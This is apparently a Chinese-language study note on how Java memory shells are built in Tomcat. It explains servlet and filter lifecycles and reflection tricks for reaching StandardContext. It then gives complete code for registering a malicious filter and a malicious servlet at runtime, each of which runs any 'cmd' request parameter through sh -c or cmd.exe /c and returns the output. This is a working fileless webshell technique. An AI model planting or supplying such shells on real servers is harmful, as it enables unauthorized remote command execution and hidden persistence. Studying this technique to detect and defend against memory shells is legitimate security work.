1. 前言
平時(shí)遇到可RCE的點(diǎn)端礼,都是借助工具一鍵注入內(nèi)存馬掰茶,但對(duì)其中的原理并沒有很清楚的了解阎毅。本文主要跟隨前輩大佬的學(xué)習(xí)筆記,以Tomcat為例屈梁,初探Java內(nèi)存馬的實(shí)現(xiàn)原理嗤练。
2. 基礎(chǔ)知識(shí)
2.1 servlet 和 filter
Servlet
主要的作用是可以動(dòng)態(tài)地生產(chǎn)Web頁面,他執(zhí)行在客戶端請(qǐng)求和服務(wù)器響應(yīng)的之間在讶。比較簡(jiǎn)單地理解就是煞抬,一個(gè)路由URL,就會(huì)有對(duì)應(yīng)的servlet對(duì)這個(gè)路由進(jìn)行處理构哺。
Filter 是一段可以復(fù)用的代碼革答,它用來攔截HTTP請(qǐng)求、響應(yīng)曙强、進(jìn)行一些處理和轉(zhuǎn)換残拐。常見一些Javaweb項(xiàng)目會(huì)在 Filter 位置創(chuàng)建一些XSS攔截器或者SQL攔截器,用來統(tǒng)一處理SQL注入漏洞或者XSS漏洞碟嘴。Filter 無法產(chǎn)生一個(gè)請(qǐng)求或者響應(yīng)溪食,它只能針對(duì)某一資源的請(qǐng)求或者響應(yīng)進(jìn)行修改。
2.2 servlet 和 filter 的生命周期
Servlet:
Servlet 的生命周期開始于Web容器的啟動(dòng)時(shí)娜扇,它就會(huì)被載入到Web容器內(nèi)存中错沃,直到Web容器停止運(yùn)行或者重新裝入servlet時(shí)候結(jié)束栅组。這里也就是說明,一旦Servlet被裝入到Web容器之后枢析,一般是會(huì)長(zhǎng)久駐留在Web容器之中玉掸。
- 裝入:啟動(dòng)服務(wù)器時(shí)加載Servlet的實(shí)例
- 初始化:web服務(wù)器啟動(dòng)時(shí)或web服務(wù)器接收到請(qǐng)求時(shí),或者兩者之間的某個(gè)時(shí)刻啟動(dòng)登疗。初始化工作有init()方法負(fù)責(zé)執(zhí)行完成
- 調(diào)用:從第一次到以后的多次訪問排截,都是只調(diào)用doGet()或doPost()方法
- 銷毀:停止服務(wù)器時(shí)調(diào)用destroy()方法,銷毀實(shí)例
Filter:
自定義Filter的實(shí)現(xiàn)辐益,一定要求javax.servlet.Filter下的三個(gè)方法的實(shí)現(xiàn)断傲,它們分別是init()
、doFilter()
智政、destroy()
- 啟動(dòng)服務(wù)器時(shí)加載過濾器的實(shí)例认罩,并調(diào)用init()方法來初始化實(shí)例;
- 每一次請(qǐng)求時(shí)都只調(diào)用方法doFilter()進(jìn)行處理续捂;
- 停止服務(wù)器時(shí)調(diào)用destroy()方法垦垂,銷毀實(shí)例。
2.3 Tomcat 的 Container – 容器組件
Tomcat中的 Container作用:
用于封裝和管理 Servlet牙瓢,以及具體處理Request請(qǐng)求劫拗,在Connector內(nèi)部包含了4個(gè)子容器:
Engine,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardEngine
Host矾克,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardHost
Context页慷,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardContext
Wrapper,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardWrapper
這四個(gè)字容器實(shí)際上是自上向下的包含關(guān)系:
Engine:最頂層容器組件胁附,其下可以包含多個(gè) Host酒繁。
Host:一個(gè) Host 代表一個(gè)虛擬主機(jī),其下可以包含多個(gè) Context控妻。
Context:一個(gè) Context 代表一個(gè) Web 應(yīng)用州袒,其下可以包含多個(gè) Wrapper。
Wrapper:一個(gè) Wrapper 代表一個(gè) Servlet弓候。
關(guān)系圖如下(借用參考文章的圖):
對(duì)于tomcat的目錄來說郎哭,webapps目錄
對(duì)應(yīng)的就是 Host
組件,下面的 cas
和 manager
等一個(gè)個(gè)webapp對(duì)應(yīng)的就是 Context
組件菇存,Wrapper 就是容器內(nèi)的 Servlet了
2.4 Tomcat中的啟動(dòng)加載順序
加載過程在 Tomcat 的org.apache.catalina.core.StandardContext#startInternal()
:
@Override
protected synchronized void startInternal() throws LifecycleException {
//設(shè)置webappLoader 代碼省略
//Standard container startup 代碼省略
try {
// Set up the context init params
mergeParameters();
// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}
從代碼中可以看到彰居,加載順序 context-param->listeners->filters->servlets :
- 首先初始化 context-param 節(jié)點(diǎn):
mergeParameters()
- 接著配置和調(diào)用 listeners 并開始監(jiān)聽:
listenerStart()
- 然后配置和調(diào)用 filters ,filters 開始起作用:
filterStart()
- 最后加載和初始化配置在 load on startup 的 servlets:
loadOnStartup(findChildren())
3. 內(nèi)存馬技術(shù)實(shí)現(xiàn)介紹
從 servlet3.0 開始撰筷,提供了動(dòng)態(tài)注冊(cè) Servlet 、filter 畦徘、Listener毕籽,這里重點(diǎn)關(guān)注 Servlet
和 filter
抬闯,因?yàn)?Servlet 能夠幫助我們接受 request 請(qǐng)求和 response 響應(yīng),并且針對(duì)傳入內(nèi)容進(jìn)行操作关筒,filter 也是可以做得到的溶握。
相關(guān)函數(shù)如下:
<T extends Filter>createFilter(Java.lang.Class<T> clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);
<T extends Servlet>createServlet(java.lang.Class<T> clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);
3.1 獲取上下文對(duì)象 ServletContext
Servlet上下文又叫做:ServletContext。
當(dāng)WEB服務(wù)器啟動(dòng)時(shí)蒸播,會(huì)為每一個(gè)WEB應(yīng)用程序(webapps下的每個(gè)目錄就是一個(gè)應(yīng)用程序睡榆,也就是前面介紹的 Context 組件)創(chuàng)建一塊共享的存儲(chǔ)區(qū)域。
ServletContext也叫做“公共區(qū)域”袍榆,也就是同一個(gè)WEB應(yīng)用程序中胀屿,所有的Servlet和JSP都可以共享同一個(gè)區(qū)域。
ServletContext在WEB服務(wù)器啟動(dòng)時(shí)創(chuàng)建包雀,服務(wù)器關(guān)閉時(shí)銷毀宿崭。
3.1.1 通過當(dāng)前 request 對(duì)象獲取 ServletContext
request.getSession().getServletContext();
所以這時(shí)候,如何獲取servlet上下文(ServletContext)這個(gè)問題才写,就變成了如何獲取運(yùn)行狀態(tài)中上下文中的 request 對(duì)象葡兑。
org.apache.catalina.core.ApplicationFilterChain
類當(dāng)中存在兩個(gè)static對(duì)象分別是:
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
而在這個(gè)邏輯中當(dāng)ApplicationDispatcher.WRAP_SAME_OBJECT
為 true 的情況下,就會(huì)把 request 對(duì)象和 response 對(duì)象暫時(shí)存放在 lastServicedRequest 和 lastServicedResponse 當(dāng)中赞草。
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
所以現(xiàn)在我們要做的就是讹堤,通過反射來改變其中類的一些值,使得 request
對(duì)象和 response
對(duì)象存放在 lastServicedRequest
和 lastServicedResponse
當(dāng)中厨疙。
這樣做需要通過反射修改3個(gè)部分洲守。
通過反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判斷結(jié)果為true:
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
通過反射初始化 lastServicedRequest 存放 request 對(duì)象:
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
通過反射初始化 lastServicedResponse 存放 response 對(duì)象:
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
通過這3次的反射修改,就能在下一次請(qǐng)求中成功獲取上下文的 servletContext 對(duì)象轰异,借用一張圖:
獲取到的對(duì)象為ApplicationContext
類實(shí)例岖沛。
3.1.2 通過 Thread.currentThread().getContextClassLoader()
獲取 StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
借用一張圖:
獲取到的對(duì)象為StandardContext
類實(shí)例。
tomcat 7 的結(jié)構(gòu)不太一樣搭独,導(dǎo)致 tomcat 7 這種方法拿不到上下文中的 StandardContext 婴削。
3.1.3 在 spring 項(xiàng)目中通過 spring 容器來獲取 servletContext 對(duì)象(不推薦)
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
借用一張圖:
獲取到的對(duì)象為ApplicationContext
類實(shí)例。
這種情況下有一定的限制牙肝,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加載唉俗。
3.2 構(gòu)造內(nèi)存shell
要讓 servlet 被外界訪問到,可以在 web.xml 之中進(jìn)行一些映射工作:
前面提到過從 servlet3.0 開始配椭,提供了動(dòng)態(tài)注冊(cè) Servlet 虫溜、filter ,這里主要學(xué)習(xí)怎么針對(duì) Servlet 和 filter 如何進(jìn)行動(dòng)態(tài)注冊(cè)股缸。
3.2.1 添加惡意filter
先寫一個(gè)惡意的 filter 衡楞,前面說過 filter 的實(shí)現(xiàn),需要分別實(shí)現(xiàn)三個(gè)接口 init 敦姻、doFilter 瘾境、destroy 歧杏。
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
arg1.getWriter().write(output);
arg1.getWriter().flush();
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
}
}
Tomcat 在 org.apache.catalina.core.ApplicationContextFacade
當(dāng)中實(shí)現(xiàn)了之前我們說的 ServletContext 中的 addFilter
和 addServlet
。先看 addFilter
的實(shí)現(xiàn)迷守,這部分實(shí)現(xiàn)在 ApplicationContext#addFilter
當(dāng)中犬绒。
在 addFilter 中,代碼的作用實(shí)際就是新建一個(gè) filterDef 然后調(diào)用this.context.addFilterDef(filterDef);
進(jìn)行添加了而已兑凿。完全可以通過反射的方式獲取上下文 context 自行進(jìn)行添加凯力。
Filter filter = new filter(){上面的惡意代碼}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
在 ApplicationFilterFactory.createFilterChain
當(dāng)中,首先從 StandardContext 對(duì)象中獲取filterMaps 礼华,然后循環(huán)遍歷 filterMaps 咐鹤,最后再添加到 filterChain 當(dāng)中。
上面代碼我們構(gòu)造好了 filterDef
卓嫂,當(dāng)時(shí)并沒有添加進(jìn) filterMap 當(dāng)中慷暂,自然也不會(huì)添加到filterChain中去,所以添加進(jìn)去:
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/testfilter");
standardContext.addFilterMapBefore(m);
主要關(guān)注 standardContext.addFilterMapBefore
這個(gè)方法晨雳,這個(gè)方法最終的效果是要把我們創(chuàng)建的 filterMap 放到第一位去行瑞。因?yàn)閺膭倓?ApplicationFilterFactory.createFilterChain
當(dāng)中,我們知道這個(gè)順序是從頭到尾餐禁,看是一次次創(chuàng)建的血久,所以放到最前面是很有必要的。
最后還有一個(gè)問題需要解決帮非,如何將 filter 添加到 filterConfigs
當(dāng)中氧吐。關(guān)注 StandardContext#filterStart
方法就可以知道,遍歷了 filterDefs 當(dāng)中 filterName 末盔,然后把對(duì)應(yīng)的 name 添加到 filterConfigs 當(dāng)中筑舅。再通過反射,在構(gòu)造器實(shí)例化的時(shí)候把 filterConfig 加入到 filterConfigs 當(dāng)中
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
如此一系列操作陨舱,就能構(gòu)造并添加一個(gè)惡意的filter了翠拣。
注意:tomcat 7 與 tomcat 8 在 FilterDef 和 FilterMap 這兩個(gè)類所屬的包名不太一樣。
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
3.2.2 添加惡意servlet
先寫一個(gè)惡意的 servlet 游盲,接口下需要有 init 误墓、getServletConfig、service益缎、getServletInfo谜慌、destroy。
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
我們知道 Wrapper 負(fù)責(zé)管理 Servlet 莺奔,而之前在動(dòng)態(tài)加載 filter 的時(shí)候欣范,我們通過 standardContext 當(dāng)中的 addFilterDef 和 addFilterMap 來完成了 filter 的動(dòng)態(tài)添加。那么是否在 standardContext 當(dāng)中也能完成 Wrapper 的動(dòng)態(tài)添加呢?答案是肯定的熙卡,createWrapper
就能夠搞定了杖刷,實(shí)例化一個(gè)新的 Wrapper 對(duì)象,把相關(guān)內(nèi)容寫進(jìn)去驳癌。
org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
這里這時(shí)候又有一個(gè)問題了,這個(gè)新建的 Wrapper 對(duì)象役听,并不在 StandardContext 的 children 當(dāng)中颓鲜,我們可以通過 StandardContext#addChild
把它加到 StandardContext 的 children 當(dāng)中。最后還需要將我們的 Wrapper 對(duì)象典予,和訪問的 url 進(jìn)行綁定甜滨。
stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/testservlet",n);
如此操作,就能構(gòu)造并添加一個(gè)惡意的servlet作為內(nèi)存shell了瘤袖,該方法較filter更好衣摩,tomcat 7 和 8 能夠通用。
4. 總結(jié)
本文講解了filter和servlet兩種類型內(nèi)存馬實(shí)現(xiàn)的一些基礎(chǔ)知識(shí)捂敌,對(duì)反射操作servlet上下文有了更深的理解艾扮,后面我還將結(jié)合具體實(shí)例場(chǎng)景(jsp文件構(gòu)造內(nèi)存馬;命令執(zhí)行占婉、反序列化構(gòu)造內(nèi)存馬)進(jìn)行學(xué)習(xí)泡嘴。